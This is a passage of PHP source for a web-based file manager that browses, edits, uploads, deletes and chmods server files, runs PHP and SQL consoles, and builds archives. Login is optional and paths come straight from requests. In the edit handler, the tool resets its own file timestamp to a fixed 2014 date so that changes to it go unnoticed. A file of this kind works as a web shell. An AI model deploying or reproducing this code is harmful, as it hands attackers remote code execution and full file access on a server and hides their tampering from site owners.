pMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

